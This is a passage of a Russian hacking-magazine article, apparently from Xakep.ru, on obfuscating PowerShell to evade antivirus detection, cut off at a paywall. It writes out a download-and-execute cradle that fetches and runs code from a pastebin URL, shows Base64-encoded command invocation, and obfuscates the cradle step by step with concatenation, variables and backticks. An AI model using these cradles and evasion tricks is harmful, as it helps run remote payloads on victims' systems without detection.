Содержание статьи
Посмотри на эту строку. Что ты здесь видишь?
;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "
Полагаю — ничего. А ведь это всего лишь команда netstat /ano
после обфускации. В этой статье мы постараемся разобраться, как привести команды на PowerShell к такому виду, и проверим, как на это среагируют антивирусы.
WARNING
Распространение вредоносного ПО преследуется по закону. Все рассмотренные методы представлены в ознакомительных целях.
PowerShell в хакинге
Начнем с разговора о самом PowerShell. Почему именно он часто используется при взломе? Ну, как минимум потому, что PowerShell — это командная оболочка и несложный скриптовый язык, который используется во всех современных системах Windows. К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта. Если на компьютере включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют хорошие инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других скриптов и файлов .bat
, .doc
, .xls
, .ppt
, .hta
, .exe
, .dll
.
С помощью PowerShell можно загружать код из интернета (к примеру, с pastebin.com) или файла на ПК и исполнять его. Для этого используется командлет Invoke-Expression
. Вот несколько примеров использования.
Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Также можно использовать кодировку Base64. Для начала следует закодировать команды в Base64.
[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))
Перед исполнением нужно будет декодировать их с помощью -EncodeCommand
.
powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==
Есть куча других трюков с PowerShell. Для знакомства с основами и выбора инструментария рекомендую прочитать статью Алексея Панкратова «Выбираем среду разработки на PowerShell и пишем скрипты для Windows».
Обфускация PowerShell. Прятки с антивирусом
Процесс обфускации PowerShell не такой уж и сложный, так как это скриптовый язык и мы работаем со строками, а не с исполняемым двоичным кодом. Пройдемся по некоторым методам обфускации. Будем рассматривать все на примере этой команды:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
INFO
Обфускация — один из популярных методов обхода сигнатурного анализа.
Для начала попробуем убрать System
из строки System.Net.WebClient
. На выполнение команды это не повлияет, так как в функциях .NET писать System
необязательно.
Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')
Посмотрим, что можно сделать еще. URL в нашей команде — это строка. Что можно делать со строками? Правильно — разделять и властвовать соединять, а вернее, конкатенировать. Попробуем это использовать.
Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Команда отрабатывает точно так же. Теперь попробуем часть команды объявить в виде переменной.
$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Все отлично обфусцируется и работает. Идем дальше. Кручу-верчу, запутать хочу! DownloadString
, наверное, используется хакерами уже сто лет. Запрячем его и New-Object
среди “
и `
.
$get = New-Object "`N`et.`W`ebc`l`i`ent";
Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')
Неплохо замаскировали. Почти непонятно, что это на самом деле.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»